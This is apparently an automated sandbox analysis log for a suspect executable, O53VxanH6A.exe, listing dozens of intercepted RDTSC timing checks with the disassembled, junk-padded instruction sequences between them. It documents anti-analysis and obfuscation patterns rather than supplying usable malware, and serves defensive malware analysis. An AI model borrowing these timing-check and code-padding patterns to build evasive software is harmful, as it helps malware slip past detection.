Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D26A80 second address: D26AA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007F5958F82B63h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2499F second address: D24A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jl 00007F5959240B66h 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F5959240B6Dh 0x00000015 nop 0x00000016 mov dword ptr [ebp+124494C4h], esi 0x0000001c push dword ptr fs:[00000000h] 0x00000023 add bx, B9EAh 0x00000028 or dword ptr [ebp+12448813h], ebx 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 mov dword ptr [ebp+122D2C94h], esi 0x0000003b mov eax, dword ptr [ebp+122D0D2Dh] 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007F5959240B68h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 00000015h 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b push FFFFFFFFh 0x0000005d push ebx 0x0000005e pushad 0x0000005f xor esi, 085E3D25h 0x00000065 popad 0x00000066 pop edi 0x00000067 jc 00007F5959240B6Bh 0x0000006d mov ebx, 542D8026h 0x00000072 nop 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 jbe 00007F5959240B66h 0x0000007c pushad 0x0000007d popad 0x0000007e popad 0x0000007f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D24A29 second address: D24A33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5958F82B56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D288C9 second address: D288CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2A7BA second address: D2A7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D288CF second address: D288DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D288DC second address: D28935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 nop 0x00000007 jo 00007F5958F82B5Ch 0x0000000d mov dword ptr [ebp+122D1DE5h], ecx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F5958F82B58h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b xor ebx, dword ptr [ebp+122D3984h] 0x00000041 mov eax, dword ptr [ebp+122D1121h] 0x00000047 sub dword ptr [ebp+122D316Eh], eax 0x0000004d push FFFFFFFFh 0x0000004f nop 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 pop eax 0x00000055 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D299EB second address: D299F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2A990 second address: D2A994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2A994 second address: D2A99A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2EEFD second address: D2EF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5958F82B60h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D2EF12 second address: D2EF42 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5959240B72h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F5959240B77h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D33821 second address: D3384A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5958F82B61h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5958F82B60h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D33989 second address: D33997 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5959240B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D33997 second address: D3399B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3399B second address: D3399F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D33AF0 second address: D33B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F5958F82B61h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D33C34 second address: D33C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D33C3A second address: D33C5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B69h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D33C5D second address: D33C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B78h 0x00000007 jnp 00007F5959240B66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D33C82 second address: D33CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F5958F82B63h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F5958F82B56h 0x00000014 jmp 00007F5958F82B68h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D380FC second address: D38102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D38102 second address: D38106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D382DD second address: D3830C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jne 00007F5959240B6Ch 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3830C second address: D38329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jnl 00007F5958F82B56h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007F5958F82B56h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3843E second address: D38442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3F0B4 second address: D3F0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3F0BA second address: D3F0C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3F99C second address: D3F9B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F5958F82B66h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3F9B8 second address: D3F9C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B6Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3F9C6 second address: D3F9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F5958F82B5Ch 0x0000000c jo 00007F5958F82B56h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 ja 00007F5958F82B62h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3F9E3 second address: D3F9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5959240B66h 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F5959240B66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3F9F5 second address: D3F9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3F9F9 second address: D3FA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F5959240B66h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3FCD2 second address: D3FCF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F5958F82B62h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3FCF2 second address: D3FD15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jno 00007F5959240B66h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 jp 00007F5959240B6Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3FD15 second address: D3FD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3FE62 second address: D3FE66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3FE66 second address: D3FE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3FE70 second address: D3FE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3FE76 second address: D3FE7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D3FFC0 second address: D3FFD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D40182 second address: D40186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D45A4D second address: D45A59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5959240B66h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CD4768 second address: CD476C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CD476C second address: CD4770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CD4770 second address: CD4794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5958F82B64h 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F5958F82B56h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D44E1D second address: D44E3F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007F5959240B66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007F5959240B6Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jg 00007F5959240B66h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D452B9 second address: D452BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D452BD second address: D452CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5959240B6Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D452CF second address: D452FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F5958F82B5Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e ja 00007F5958F82B82h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5958F82B62h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D4545C second address: D45476 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B76h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D45476 second address: D45490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F5958F82B61h 0x0000000c jmp 00007F5958F82B5Bh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D4AB92 second address: D4AB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5959240B66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D4AB9E second address: D4ABA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D11C6C second address: D11C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D11C70 second address: D11C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D11C74 second address: CF8E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D27C3h], eax 0x0000000e lea eax, dword ptr [ebp+1247CA03h] 0x00000014 mov cl, dh 0x00000016 nop 0x00000017 pushad 0x00000018 jbe 00007F5959240B68h 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edi 0x00000022 pop edi 0x00000023 pop eax 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 pushad 0x00000028 jmp 00007F5959240B6Eh 0x0000002d jmp 00007F5959240B6Bh 0x00000032 popad 0x00000033 jmp 00007F5959240B6Dh 0x00000038 popad 0x00000039 nop 0x0000003a xor dword ptr [ebp+122D1E14h], ebx 0x00000040 call dword ptr [ebp+122D1C87h] 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F5959240B6Ah 0x0000004d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D11E69 second address: D11E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D11E6D second address: D11E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D11E77 second address: D11E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D12297 second address: D122F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5959240B66h 0x0000000a popad 0x0000000b pop edx 0x0000000c xor dword ptr [esp], 15F493B5h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F5959240B68h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d call 00007F5959240B69h 0x00000032 push eax 0x00000033 push edx 0x00000034 jg 00007F5959240B7Ch 0x0000003a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D122F5 second address: D12319 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5958F82B69h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D12319 second address: D1231F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1231F second address: D12349 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F5958F82B56h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D12349 second address: D1234D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D1234D second address: D1235B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F5958F82B5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D12489 second address: D124E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5959240B66h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F5959240B6Dh 0x00000012 xchg eax, esi 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F5959240B68h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d call 00007F5959240B6Eh 0x00000032 mov edx, edi 0x00000034 pop ecx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F5959240B74h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D125CF second address: D125D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D125D3 second address: D125D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D12681 second address: D12694 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D12694 second address: D12698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D12BF7 second address: D12BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D12BFB second address: D12C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D12C01 second address: D12C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D131A4 second address: D131D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5959240B75h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D131D6 second address: D131DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D131DD second address: CF9945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F5959240B68h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push ecx 0x00000023 sub edx, 2F8DBC2Ah 0x00000029 pop edx 0x0000002a call dword ptr [ebp+122D1C2Ch] 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CF9945 second address: CF9949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D49E3C second address: D49E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jng 00007F5959240B66h 0x0000000b jno 00007F5959240B66h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 pop eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D49E56 second address: D49E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D49FC9 second address: D49FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D4A212 second address: D4A231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D4A231 second address: D4A236 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
